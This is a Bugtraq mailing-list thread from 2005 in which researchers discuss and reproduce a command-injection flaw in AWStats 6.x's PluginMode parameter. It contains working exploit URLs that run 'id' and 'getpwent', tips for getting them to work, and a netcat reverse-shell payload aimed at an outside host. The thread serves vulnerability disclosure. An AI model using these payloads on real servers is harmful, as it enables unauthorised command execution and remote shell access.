bugtraq - Re: AWStats <= 6.4 Multiple vulnerabilities

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Date: Tue, 15 Feb 2005 16:38:03 -0500
From: Herman Sheremetyev <herman@...bpage.com>
To: Ondra Holecek <bln@...rese.net>
Cc: jpratt@...wich.edu, bugtraq@...urityfocus.com
Subject: Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in
 6.3?


It works on mine too, though I still have 6.1.  I think you may need to 
add the config=www.example.com into the url between the '?' and the '&' 
for it to work properly though.  On my linux boxes with apache 2.0 it 
displays the command output in the page but on openbsd with apache 1.3 
it gives a 500 Server Error because the output ends up in the headers 
somehow.  Either way it works though.

-Herman

Ondra Holecek wrote:
> It seems this bug works only on my server, i dont know why
> 
> /awstats.pl?&PluginMode=:print+system('id')+;
> 
> reply:
> 
> uid=99(nobody) gid=4294967295 groups=4294967295,98(nobody) 256
> Error:
> 
> Setup ('/usr/local/etc/awstats/awstats.conf' file, web server or
> permissions) may be wrong.
> Check config file, permissions and AWStats documentation (in 'docs'
> directory).
> 
> 
> awstats: Advanced Web Statistics 6.1 (build 1.751)  (original)
> perl: This is perl, v5.8.5 built for i586-linux
> os: Linux xxx.tld 2.4.22 #4 Wed Jul 7 21:07:03 CEST 2004 i586 unknown
> unknown GNU/Linux
> 
> Ondra
> 
> 
> Jamie Pratt wrote:
> | So what are the conditions of this bug/vuln?  I can't reproduce this on
> | several 6.3 installs..:
> |
> | awstats 6.3 from source:
> |
> | request:
> |
> |
> http://www.site.org/awstats/cgi-bin/awstats.pl?&PluginMode=:print+system('id')+; 
> 
> 
> |
> |
> | output:
> | ****************
> | Error: Can't locate object method "BuildFullHTMLOutput_print" via
> | package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
> | line 1.
> |
> | Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
> | permissions) may be wrong.
> | Check config file, permissions and AWStats documentation (in 'docs'
> | directory).
> | ***************
> |
> | regards,
> | jamie
> |
> | Ondra Holecek wrote:
> |
> |>
> |>
> |> GHC@....securityfocus.com wrote:
> |> |
> |> | /*==========================================*/
> |> | // GHC -> AWStats <- ADVISORY
> |> | \\ PRODUCT: AWStats
> |> | // VERSION: <= 6.3
> |> | \\ URL: http://awstats.sourceforge.net/
> |> | // VULNERABILITY CLASS: Multiple vulnerabilities
> |> | \\ RISK: high
> |> | /*==========================================*/
> |>
> |> [...]
> |>
> |> |
> |> | PluginMode=:print+getpwent
> |> |
> |> | And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
> |> | This will satisfy eval() requirements., and :print getpwent() is
> |> executed.
> |> |
> |> |
> |>
> http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent 
> 
> 
> |>
> |> |
> |> | Sanitazing limits user's input, but there is no filtration for call
> |> sympols '()'.
> |>
> |> no, user is not limited, he can execute ANY command if he add ; at the
> |> end of the command, try this
> |>
> |> awstats.pl?&PluginMode=:print+system('id')+;
> |>
> |> or even this
> |>
> |> awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
> |>
> |>
> |> Ondra
> |
> |
> 
>